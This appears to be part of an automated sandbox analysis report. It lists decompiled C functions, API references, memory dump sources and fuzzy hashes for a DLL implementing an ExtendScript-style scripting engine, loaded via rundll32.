				signed int _t262;
				signed int* _t265;
				intOrPtr _t285;
				void* _t287;
				signed int _t289;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				void* _t300;
				void* _t301;
				void* _t302;

				_t287 = __ecx;
				if( *((char*)(__ecx + 0x18)) != 0) {
					_t197 = _a4;
					_t265 = __ecx + 0x2a + (_t197 & 0x0000000f) * 4;
					_t119 =  *_t265;
					_t203 = 0;
					_v8 = 0;
					__eflags = _t119;
					if(_t119 == 0) {
						L5:
						_t289 =  *(_t287 + 0x14);
						__eflags = _t289;
						if(_t289 == 0) {
							L43:
							__eflags =  *((intOrPtr*)(_t287 + 0x1a)) - 0xffffffff;
							if( *((intOrPtr*)(_t287 + 0x1a)) == 0xffffffff) {
								__eflags = _t197 - 0x20000093;
								if(_t197 > 0x20000093) {
									__eflags = (_t197 & 0xe0000000) - 0x20000000;
									if((_t197 & 0xe0000000) == 0x20000000) {
										_t206 =  *0x1009415c; // 0x0
										_a11 = 0;
										E100049E0(_t206,  &_v12,  &_v12, _t197);
										_v24 = 7;
										_t122 =  *0x1006a4e0( &_v12, 0x10000);
										_t301 = _t300 + 8;
										_v20 = _t122;
										__eflags = _t122;
										if(_t122 == 0) {
											_t124 =  *0x1006a4dc( &_v12);
											_t207 =  *((intOrPtr*)(_t287 + 0x6a));
											_t302 = _t301 + 4;
											__eflags = _t124;
											if(_t124 == 0) {
												_t125 = E10009120(_t207);
												_v36 = _t125;
												__eflags = _t125;
												if(_t125 != 0) {
													_v20 = 0;
													_t291 = E1000CDE0(_t287, _t197,  &_v12,  &_v20);
													__eflags = _t291;
													if(_t291 == 0) {
														_t131 =  *((intOrPtr*)( *((intOrPtr*)( *_v36 + 0x20))))( *((intOrPtr*)(_t287 + 0x6a)),  &_v12);
														__eflags = _t131;
														if(_t131 != 0) {
															_t132 =  *0x1006a1d0(0x98);
															_t302 = _t302 + 4;
															__eflags = _t132;
															if(_t132 == 0) {
																_t133 = 0;
																__eflags = 0;
															} else {
																_t133 = E1000A350( *((intOrPtr*)(_t287 + 0x6a)), _t197);
															}
															_t291 = _t133;
															 *((char*)(_t133 + 0x96)) = 1;
															goto L69;
														}
													} else {
														__eflags = _v20 & 0x00000002;
														if((_v20 & 0x00000002) != 0) {
															_v24 = 0x20000007;
														}
														_a11 =  *0x1006a240() >> 0x00000005 & 0x00000001;
														goto L69;
													}
												}
											} else {
												_t293 =  *((intOrPtr*)( *((intOrPtr*)( *_t207 + 0xd0))))(0x2000008c);
												__eflags = _t293;
												if(_t293 == 0) {
													_a8 = 0;
												} else {
													_t73 = _t293 + 4; // 0x4
													_a8 = _t73;
												}
												 *0x1006a160();
												_v20 = _a8;
												 *0x1006a3d4();
												_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_t293 + 4))))(0x2000008c, 0x2000008c, 0, 1, 0);
												_a11 = 1;
												 *0x1006a3d8();
												_t151 =  *0x1006a1d0(0xb0);
												_t302 = _t302 + 4;
												__eflags = _t151;
												if(_t151 == 0) {
													_t152 = 0;
													__eflags = 0;
												} else {
													_t152 = L10008670( *((intOrPtr*)(_t287 + 0x6a)), _t293, _v8, _t197);
												}
												 *(_t152 + 0x72) = _t197;
												_push( *((intOrPtr*)( *((intOrPtr*)(_t287 + 0x6a)) + 0xdc)));
												_t291 = _t152;
												E1000A430();
												goto L69;
											}
										} else {
											_t153 =  *0x1006a1d0(0x9c);
											_t302 = _t301 + 4;
											__eflags = _t153;
											if(_t153 == 0) {
												_t154 = 0;
												__eflags = 0;
											} else {
												_t154 = E1000A920(_t153,  *((intOrPtr*)(_t287 + 0x6a)), _t197, _t197, 0x1ff10000);
											}
											_t291 = _t154;
											 *((intOrPtr*)( *((intOrPtr*)( *_t154 + 0x30))))(_v20);
											_a11 =  *0x1006a240() >> 0x00000005 & 0x00000001;
											L69:
											L10009FE0(_t291);
											_t105 = _t291 + 0x22;
											 *_t105 =  *(_t291 + 0x22) - 1;
											__eflags =  *_t105;
											if( *_t105 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *_t291 + 0x14))))();
											}
											_t135 =  *0x1006a1d0(0x34);
											__eflags = _t135;
											if(_t135 == 0) {
												_t292 = 0;
												__eflags = 0;
											} else {
												_t292 = E10011030(_t287, _t197,  &_v60, _v24);
											}
											_v8 = _t292;
											E1000CD10(_t287, _t292, 0);
											 *0x1006a1c8();
											__eflags = _t292;
											if(_t292 != 0) {
												__eflags = _a11;
												if(_a11 != 0) {
													_t113 = _t292 + 0x24;
													 *_t113 =  *(_t292 + 0x24) | 0x08000000;
													__eflags =  *_t113;
												}
											}
										}
										 *0x1006a184();
									}
								}
							}
							_t119 = _v8;
							goto L79;
						} else {
							 *0x1006a160();
							_a4 = _t289;
							 *0x1006a460();
							 *0x1006a3d4();
							_t163 =  *((intOrPtr*)( *((intOrPtr*)( *_t289 + 0xc))))(0x20636f6c);
							__eflags = _t163;
							if(_t163 == 0) {
								L22:
								_t239 =  *0x1009415c; // 0x0
								goto L23;
							} else {
								__eflags = (_t197 & 0xe0000000) - 0x60000000;
								if((_t197 & 0xe0000000) == 0x60000000) {
									L11:
									_t188 =  *0x1006a1d0(0x40);
									_t300 = _t300 + 4;
									_a8 = _t188;
									__eflags = _t188;
									if(_t188 == 0) {
										goto L29;
									} else {
										_t259 =  *0x1009415c; // 0x0
										_v8 = E10012110(__eflags, _t287, _t289, _t197, E10004BD0(_t259, _t197));
									}
								} else {
									__eflags = _t197 - 0x82;
									if(_t197 == 0x82) {
										goto L11;
									} else {
										_t239 =  *0x1009415c; // 0x0
										__eflags = _t197 -  *((intOrPtr*)(_t239 + 4));
										if(_t197 <=  *((intOrPtr*)(_t239 + 4))) {
											L23:
											__eflags = _t197 - 0x72;
											if(_t197 != 0x72) {
												__eflags = _t197 - 0x73;
												if(_t197 != 0x73) {
													E100049E0(_t239,  &_v16,  &_v16, _t197);
													_t166 =  *((intOrPtr*)( *((intOrPtr*)( *_t289 + 0x48))))( &_v16,  &_v32,  &_v28, 0x10000);
													__eflags = _t166;
													if(_t166 != 0) {
														__eflags = _t166 - 2;
														if(_t166 != 2) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t287 + 0x6a)))) + 0x2c))))(_t166,  &_v16, 0xffffffff, 0);
														}
													} else {
														_t178 =  *0x1006a1d0(0x40);
														_t300 = _t300 + 4;
														__eflags = _t178;
														if(__eflags == 0) {
															_t179 = 0;
															__eflags = 0;
														} else {
															_t179 = L10011FF0(__eflags, _t287, _t289, _t197, _v32, _v28);
														}
														__eflags = _a8 & 0x00000080;
														_v8 = _t179;
														if((_a8 & 0x00000080) != 0) {
															_t180 = E1000FD40(_t287);
															__eflags = _t180;
															if(_t180 != 0) {
																E10020410(_t289,  &_v16);
																_t300 = _t300 + 8;
															}
														}
													}
													 *0x1006a184();
												} else {
													_t183 =  *0x1006a1d0(0x40);
													_t300 = _t300 + 4;
													__eflags = _t183;
													if(__eflags == 0) {
														goto L29;
													} else {
														_v8 = L10011FF0(__eflags, _t287, _t289, _t197, 0x1ff1fffe, 5);
													}
												}
											} else {
												_t186 =  *0x1006a1d0(0x40);
												_t300 = _t300 + 4;
												__eflags = _t186;
												if(__eflags == 0) {
													L29:
													_v8 = 0;
												} else {
													_v8 = L10011FF0(__eflags, _t287, _t289, _t197, 0x1ff1ffff, 5);
												}
											}
										} else {
											_t191 = E100044E0(_t239, _t197);
											__eflags = _t191;
											if(_t191 == 0) {
												goto L22;
											} else {
												goto L11;
											}
										}
									}
								}
							}
							_t294 = _v8;
							__eflags = _t294;
							if(_t294 == 0) {
								__eflags = _a4 + 8;
								 *0x1006a3d8();
								 *((intOrPtr*)( *((intOrPtr*)( *_a4 + 4))))();
								goto L43;
							} else {
								E1000CD10(_t287, _t294, 0);
								__eflags = _a4 + 8;
								 *0x1006a3d8();
								 *((intOrPtr*)( *((intOrPtr*)( *_a4 + 4))))();
								return _t294;
							}
						}
					} else {
						while(1) {
							__eflags =  *((intOrPtr*)(_t119 + 0x1c)) - _t197;
							if( *((intOrPtr*)(_t119 + 0x1c)) == _t197) {
								__eflags = _t203;
								if(_t203 != 0) {
									 *(_t203 + 0x2c) =  *(_t119 + 0x2c);
									 *(_t119 + 0x2c) =  *_t265;
									 *_t265 = _t119;
								}
								break;
							}
							_t203 = _t119;
							_t119 =  *(_t119 + 0x2c);
							__eflags = _t119;
							if(_t119 != 0) {
								continue;
							} else {
								goto L5;
							}
							goto L80;
						}
						_t261 =  *(_t119 + 0x24);
						__eflags = _t261 & 0x04000000;
						if((_t261 & 0x04000000) == 0) {
							L79:
							return _t119;
						} else {
							__eflags = _a8 & 0x00000010;
							if((_a8 & 0x00000010) != 0) {
								goto L79;
							} else {
								_t285 =  *((intOrPtr*)(_t287 + 0x6e));
								__eflags = _t285 - 0x20000097;
								if(_t285 == 0x20000097) {
									L19:
									__eflags =  *(_t287 + 0x14);
									if( *(_t287 + 0x14) == 0) {
										goto L21;
									} else {
										_t262 = _t261 & 0xfbffffff;
										__eflags = _t262;
										 *(_t119 + 0x24) = _t262;
										 *((intOrPtr*)(_t119 + 0x28)) = 2;
										return _t119;
									}
								} else {
									__eflags = _t285 - 0x20000098;
									if(_t285 != 0x20000098) {
										L21:
										__eflags = 0;
										return 0;
									} else {
										goto L19;
									}
								}
							}
						}
					}
				} else {
					_push(0x2d);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x6a)))) + 0x24))))();
					return 0;
				}
				L80:
			}

0x1000eb47
0x1000eb4d
0x1000eb65
0x1000eb6d
0x1000eb71
0x1000eb73
0x1000eb76
0x1000eb7d
0x1000eb7f
0x1000eb93
0x1000eb93
0x1000eb96
0x1000eb98
0x1000ede6
0x1000ede6
0x1000edea
0x1000edf0
0x1000edf6
0x1000ee04
0x1000ee0a
0x1000ee10
0x1000ee1b
0x1000ee1f
0x1000ee2d
0x1000ee34
0x1000ee3a
0x1000ee3d
0x1000ee40
0x1000ee42
0x1000ee95
0x1000ee9b
0x1000ee9e
0x1000eea1
0x1000eea3
0x1000ef4d
0x1000ef52
0x1000ef55
0x1000ef57
0x1000ef68
0x1000ef74
0x1000ef76
0x1000ef78
0x1000efaa
0x1000efac
0x1000efae
0x1000efb9
0x1000efbf
0x1000efc2
0x1000efc4
0x1000efd4
0x1000efd4
0x1000efc6
0x1000efcd
0x1000efcd
0x1000efd6
0x1000efd8
0x00000000
0x1000efd8
0x1000ef7a
0x1000ef7a
0x1000ef7e
0x1000ef80
0x1000ef80
0x1000ef95
0x00000000
0x1000ef95
0x1000ef78
0x1000eea9
0x1000eeb8
0x1000eeba
0x1000eebc
0x1000eec6
0x1000eebe
0x1000eebe
0x1000eec1
0x1000eec1
0x1000eed0
0x1000eed9
0x1000eedc
0x1000eefe
0x1000ef01
0x1000ef05
0x1000ef10
0x1000ef16
0x1000ef19
0x1000ef1b
0x1000ef30
0x1000ef30
0x1000ef1d
0x1000ef29
0x1000ef29
0x1000ef32
0x1000ef3e
0x1000ef41
0x1000ef43
0x00000000
0x1000ef43
0x1000ee44
0x1000ee49
0x1000ee4f
0x1000ee52
0x1000ee54
0x1000ee6a
0x1000ee6a
0x1000ee56
0x1000ee63
0x1000ee63
0x1000ee77
0x1000ee79
0x1000ee89
0x1000efdf
0x1000efe3
0x1000efe8
0x1000efe8
0x1000efe8
0x1000efeb
0x1000eff4
0x1000eff4
0x1000eff8
0x1000f001
0x1000f003
0x1000f01a
0x1000f01a
0x1000f005
0x1000f016
0x1000f016
0x1000f021
0x1000f024
0x1000f02c
0x1000f032
0x1000f034
0x1000f036
0x1000f03a
0x1000f03c
0x1000f03c
0x1000f03c
0x1000f03c
0x1000f03a
0x1000f034
0x1000f046
0x1000f046
0x1000ee0a
0x1000edf6
0x1000f04c
0x00000000
0x1000eb9e
0x1000eba1
0x1000eba9
0x1000ebac
0x1000ebb5
0x1000ebc7
0x1000ebc9
0x1000ebcb
0x1000eca3
0x1000eca3
0x00000000
0x1000ebd1
0x1000ebd9
0x1000ebdf
0x1000ec06
0x1000ec08
0x1000ec0e
0x1000ec11
0x1000ec14
0x1000ec16
0x00000000
0x1000ec1c
0x1000ec1c
0x1000ec34
0x1000ec34
0x1000ebe1
0x1000ebe1
0x1000ebe7
0x00000000
0x1000ebe9
0x1000ebe9
0x1000ebef
0x1000ebf2
0x1000eca9
0x1000eca9
0x1000ecac
0x1000ecd6
0x1000ecd9
0x1000ed12
0x1000ed2f
0x1000ed31
0x1000ed33
0x1000ed7d
0x1000ed80
0x1000ed93
0x1000ed93
0x1000ed35
0x1000ed37
0x1000ed3d
0x1000ed40
0x1000ed42
0x1000ed58
0x1000ed58
0x1000ed44
0x1000ed51
0x1000ed51
0x1000ed5a
0x1000ed5e
0x1000ed61
0x1000ed65
0x1000ed6a
0x1000ed6c
0x1000ed73
0x1000ed78
0x1000ed78
0x1000ed6c
0x1000ed61
0x1000ed98
0x1000ecdb
0x1000ecdd
0x1000ece3
0x1000ece6
0x1000ece8
0x00000000
0x1000ecea
0x1000ecfb
0x1000ecfb
0x1000ece8
0x1000ecae
0x1000ecb0
0x1000ecb6
0x1000ecb9
0x1000ecbb
0x1000ed03
0x1000ed05
0x1000ecbd
0x1000ecce
0x1000ecce
0x1000ecbb
0x1000ebf8
0x1000ebf9
0x1000ebfe
0x1000ec00
0x00000000
0x00000000
0x00000000
0x00000000
0x1000ec00
0x1000ebf2
0x1000ebe7
0x1000ebdf
0x1000ed9e
0x1000eda1
0x1000eda3
0x1000edd3
0x1000edd6
0x1000ede4
0x00000000
0x1000eda5
0x1000edaa
0x1000edb2
0x1000edb5
0x1000edc3
0x1000edcd
0x1000edcd
0x1000eda3
0x1000eb81
0x1000eb81
0x1000eb81
0x1000eb84
0x1000ec3c
0x1000ec3e
0x1000ec43
0x1000ec48
0x1000ec4b
0x1000ec4b
0x00000000
0x1000ec3e
0x1000eb8a
0x1000eb8c
0x1000eb8f
0x1000eb91
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000eb91
0x1000ec4d
0x1000ec50
0x1000ec56
0x1000f04f
0x1000f055
0x1000ec5c
0x1000ec5c
0x1000ec60
0x00000000
0x1000ec66
0x1000ec66
0x1000ec69
0x1000ec6f
0x1000ec79
0x1000ec79
0x1000ec7d
0x00000000
0x1000ec7f
0x1000ec80
0x1000ec80
0x1000ec87
0x1000ec8a
0x1000ec95
0x1000ec95
0x1000ec71
0x1000ec71
0x1000ec77
0x1000ec98
0x1000ec9a
0x1000eca0
0x00000000
0x00000000
0x00000000
0x1000ec77
0x1000ec6f
0x1000ec60
0x1000ec56
0x1000eb4f
0x1000eb57
0x1000eb59
0x1000eb61
0x1000eb61
0x00000000

APIs

l_isUInteger@DataPool@ScScript@@ABE_NH@Z.MAIN(?,?,?,?), ref: 1000EBF9
lgetUInteger@DataPool@ScScript@@QBEIH@Z.MAIN(?,?), ref: 1000EC23

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataInteger@Pool@Script@@$l_islget
String ID:
API String ID: 2543801135-0
Opcode ID: 08474cd6102e73e783b47104c1004319ffa96c0266f5f6db9bb175f73f129021
Instruction ID: 696f99134a8ae463d41d1d4d1857c31e28c560267463d50b415219b3dfd85d8b
Opcode Fuzzy Hash: 08474cd6102e73e783b47104c1004319ffa96c0266f5f6db9bb175f73f129021
Instruction Fuzzy Hash: 4BF1D571A00255AFFB14DFA4CC84FAEB7A6FF45384F104129E906AB295DB74EE40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1000D270 Relevance: 7.7, APIs: 5, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E1000D270(intOrPtr* __ecx, signed int _a4, char _a8) {
				signed int _v8;
				char _v16;
				intOrPtr _v20;
				char _v21;
				char _v28;
				signed int _v32;
				char _v36;
				intOrPtr* _v40;
				signed int _t90;
				char _t94;
				char _t95;
				intOrPtr _t99;
				void* _t102;
				void* _t105;
				void* _t149;
				intOrPtr _t150;
				intOrPtr _t167;
				intOrPtr* _t177;
				intOrPtr* _t181;
				intOrPtr _t208;
				signed int _t216;
				signed int _t217;
				signed int _t218;
				signed int _t220;
				signed int _t222;
				intOrPtr* _t225;
				signed int _t229;
				void* _t230;

				_push(0xffffffff);
				_push(0x1005ea36);
				_push( *[fs:0x0]);
				_t90 =  *0x10094144; // 0x3a5d9654
				_push(_t90 ^ _t229);
				 *[fs:0x0] =  &_v16;
				_v20 = _t230 - 0x18;
				_t225 = __ecx;
				_v40 = __ecx;
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx + 0x22)) =  *((intOrPtr*)(__ecx + 0x22)) + 1;
				}
				_t216 =  *(_t225 + 0x14);
				_v8 = 0;
				if(_t216 == 0) {
					_v21 = 0;
					_t94 =  *((intOrPtr*)(L10009E50() + 0x10));
					_v28 = _t94;
					if(_t94 == 0) {
						_v32 = 0x100000;
						 *((intOrPtr*)(L10009E50() + 0x10)) =  &_v32 - _v32;
					}
					_t95 = _a8;
					_t217 = _a4;
					_v8 = 3;
					_t149 = (0 | _t95 != 0x00000000) + 0x72;
					 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 0x94))))((0 | _t95 == 0x00000000) + 0x72, _t217, 0);
					if( *0x1006a204() != 5) {
						L20:
						_t99 =  *_t225;
						_t205 =  *((intOrPtr*)(_t99 + 0x94));
						 *((intOrPtr*)( *((intOrPtr*)(_t99 + 0x94))))(_t149, _t217, 0);
						if( *0x1006a204() == 5) {
							 *0x1006a32c();
							_v8 = 5;
							if( *((intOrPtr*)(_t217 + 0x10)) != 5) {
								_t177 = 0;
							} else {
								_t177 =  *((intOrPtr*)(_t217 + 8));
							}
							_t205 =  &_v36;
							 *((intOrPtr*)( *((intOrPtr*)( *_t177 + 0xa4))))(_t225,  &_v36, _t217);
							if( *0x1006a204() != 5) {
								_v21 = 1;
							}
							_v8 = 3;
							 *0x1006a31c();
						}
					} else {
						 *0x1006a32c();
						_v8 = 4;
						if( *((intOrPtr*)(_t217 + 0x10)) != 5) {
							_t181 = 0;
						} else {
							_t181 =  *((intOrPtr*)(_t217 + 8));
						}
						_t208 =  *_t181;
						_t205 =  *((intOrPtr*)(_t208 + 0xa4));
						 *((intOrPtr*)( *((intOrPtr*)(_t208 + 0xa4))))(_t225,  &_v36, _t217);
						if( *0x1006a204() != 5) {
							_v21 = 1;
						}
						_v8 = 3;
						 *0x1006a31c();
						if(_v21 == 0) {
							goto L20;
						}
					}
					_t102 = L10009E50();
					_t150 = _v21;
					 *((intOrPtr*)(_t102 + 0x10)) = _v28;
					if(_t150 == 0) {
						_v8 = 0;
						 *0x1006a2c8();
						_t167 =  *0x1009415c; // 0x0
						_t105 = E100049E0(_t167, _t205,  &_a8,  *((intOrPtr*)(_t225 + 0x6e)));
						_t218 = _t217 | 0xffffffff;
						_v8 = 7;
						E100099F0( *((intOrPtr*)(_t225 + 0x6a)), 0x17, _t105, _t218, 0);
						_v8 = 0;
						 *0x1006a184();
						_t84 = _t225 + 0x22;
						 *_t84 =  *((intOrPtr*)(_t225 + 0x22)) + _t218;
						_v8 = _t218;
						if( *_t84 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 0x14))))();
						}
						 *[fs:0x0] = _v16;
						return 0;
					} else {
						_t220 = _t217 | 0xffffffff;
						_t72 = _t225 + 0x22;
						 *_t72 =  *((intOrPtr*)(_t225 + 0x22)) + _t220;
						_v8 = _t220;
						if( *_t72 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 0x14))))();
						}
						 *[fs:0x0] = _v16;
						return _t150;
					}
				} else {
					 *0x1006a190();
					_v8 = 1;
					 *0x1006a160();
					_v32 = _t216;
					 *0x1006a460();
					 *0x1006a3d4();
					_v8 = 2;
					if(_a8 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t216 + 0x84))))(_a4);
						if( *0x1006a2cc() == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t216 + 0x88))))( &_v28);
							goto L7;
						}
					} else {
						 *((intOrPtr*)( *((intOrPtr*)( *_t216 + 0x88))))( &_v28);
						L7:
						 *0x1006a290( &_v28);
					}
					_v8 = 1;
					 *0x1006a3d8();
					 *((intOrPtr*)( *((intOrPtr*)( *_v32 + 4))))();
					_v8 = 0;
					 *0x1006a184();
					_t222 = _t216 | 0xffffffff;
					_t29 = _t225 + 0x22;
					 *_t29 =  *((intOrPtr*)(_t225 + 0x22)) + _t222;
					_v8 = _t222;
					if( *_t29 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 0x14))))();
					}
					 *[fs:0x0] = _v16;
					return 1;
				}
			}

0x1000d273
0x1000d275
0x1000d280
0x1000d287
0x1000d28e
0x1000d292
0x1000d298
0x1000d29b
0x1000d29d
0x1000d2a2
0x1000d2a4
0x1000d2a4
0x1000d2a7
0x1000d2aa
0x1000d2b3
0x1000d38b
0x1000d394
0x1000d397
0x1000d39c
0x1000d39e
0x1000d3b0
0x1000d3b0
0x1000d3b3
0x1000d3b6
0x1000d3c7
0x1000d3dc
0x1000d3df
0x1000d3ec
0x1000d43c
0x1000d43c
0x1000d43e
0x1000d44a
0x1000d457
0x1000d45c
0x1000d466
0x1000d46a
0x1000d471
0x1000d46c
0x1000d46c
0x1000d46c
0x1000d47c
0x1000d481
0x1000d48e
0x1000d490
0x1000d490
0x1000d497
0x1000d49b
0x1000d49b
0x1000d3ee
0x1000d3f1
0x1000d3fb
0x1000d3ff
0x1000d406
0x1000d401
0x1000d401
0x1000d401
0x1000d408
0x1000d40a
0x1000d416
0x1000d423
0x1000d425
0x1000d425
0x1000d42c
0x1000d430
0x1000d43a
0x00000000
0x00000000
0x1000d43a
0x1000d4a1
0x1000d4a6
0x1000d4ac
0x1000d4b1
0x1000d4df
0x1000d4e6
0x1000d4f7
0x1000d4fd
0x1000d504
0x1000d50d
0x1000d511
0x1000d519
0x1000d51d
0x1000d523
0x1000d523
0x1000d526
0x1000d529
0x1000d532
0x1000d532
0x1000d539
0x1000d547
0x1000d4b3
0x1000d4b3
0x1000d4b6
0x1000d4b6
0x1000d4b9
0x1000d4bc
0x1000d4c5
0x1000d4c5
0x1000d4cc
0x1000d4da
0x1000d4da
0x1000d2b9
0x1000d2bc
0x1000d2c5
0x1000d2c9
0x1000d2d1
0x1000d2d4
0x1000d2dd
0x1000d2e7
0x1000d2eb
0x1000d310
0x1000d31c
0x1000d32c
0x00000000
0x1000d32e
0x1000d2ed
0x1000d2fb
0x1000d330
0x1000d334
0x1000d334
0x1000d340
0x1000d344
0x1000d352
0x1000d357
0x1000d35b
0x1000d361
0x1000d364
0x1000d364
0x1000d367
0x1000d36a
0x1000d373
0x1000d373
0x1000d37a
0x1000d388
0x1000d388

APIs

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN(3A5D9654), ref: 1000D38F
lget@ESContext@ScScript@@SAAAV12@XZ.MAIN(3A5D9654), ref: 1000D3A5
lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 1000D4A1

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Context@Script@@V12@lget@
String ID:
API String ID: 935851931-0
Opcode ID: 75afae57f94af2c6d122842a19bfd1c793161316265f8d01238f17355f8fd8d8
Instruction ID: c672403f4344fc81c1e00eedf2a696daa26d40ede7820f0fa4e929f40a1c99cd
Opcode Fuzzy Hash: 75afae57f94af2c6d122842a19bfd1c793161316265f8d01238f17355f8fd8d8
Instruction Fuzzy Hash: 3CA1C131A04245DFEB04EF98C894BAEFBB2FF99350F10815DE45697390CB74AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1002C2F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 213COMMON

Download Yara Rule

APIs

ladd@DataPool@ScScript@@QAEHI@Z.MAIN(?,?,00000000), ref: 1002C38B
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1002C44B

Strings

[object Array], xrefs: 1002C3D6
toSource, xrefs: 1002C415

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@ladd@
String ID: [object Array]$toSource
API String ID: 1005944317-2197632273
Opcode ID: ada5e8f36a4f2874f34aafeaadb435f8f32c72888bfa9b3271f4f5ccde173b60
Instruction ID: 71a62894bdc801a94604c9f0af39dd4c2170af12b02a93fe3b4a2b3643285367
Opcode Fuzzy Hash: ada5e8f36a4f2874f34aafeaadb435f8f32c72888bfa9b3271f4f5ccde173b60
Instruction Fuzzy Hash: 4B919D3180025ADFDB04DBE8C998AEEBBB5FF19310F108059E416A7290DB756E85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10005080 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

lgetIncludePath@ParserAPI@ScScript@@QBEABVString@ScCore@@XZ.MAIN ref: 10005214
lsetIncludePath@ParserAPI@ScScript@@QBEXABVString@ScCore@@@Z.MAIN(?), ref: 10005256
lsetIncludePath@ParserAPI@ScScript@@QBEXABVString@ScCore@@@Z.MAIN(?), ref: 10005281

Strings

{\rtf, xrefs: 10005188

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: IncludeParserPath@Script@@String@$Core@@@lset$Core@@lget
String ID: {\rtf
API String ID: 611175992-1896632952
Opcode ID: 1f1dc9f97aa457fd0382d10cdcbfab6425af290c38486a221cac1c60f6d077fe
Instruction ID: 261dc8ca6f84e4a00bfcdb9c549608fc6a82115b56641e4721c3f8ce478ec7fe
Opcode Fuzzy Hash: 1f1dc9f97aa457fd0382d10cdcbfab6425af290c38486a221cac1c60f6d077fe
Instruction Fuzzy Hash: 5781707190025AEFEB04DBE4CD94BEEBBB9FF19300F104159E506A3291DB746A49CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1002A470 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 189COMMON

Download Yara Rule

APIs

lgetCurrent@Engine@ScScript@@SAPAV12@XZ.MAIN ref: 1002A60D

Strings

LASE, xrefs: 1002A50D
OCSE, xrefs: 1002A519
RPSE, xrefs: 1002A521

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Current@Engine@Script@@V12@lget
String ID: LASE$OCSE$RPSE
API String ID: 2727027711-904426294
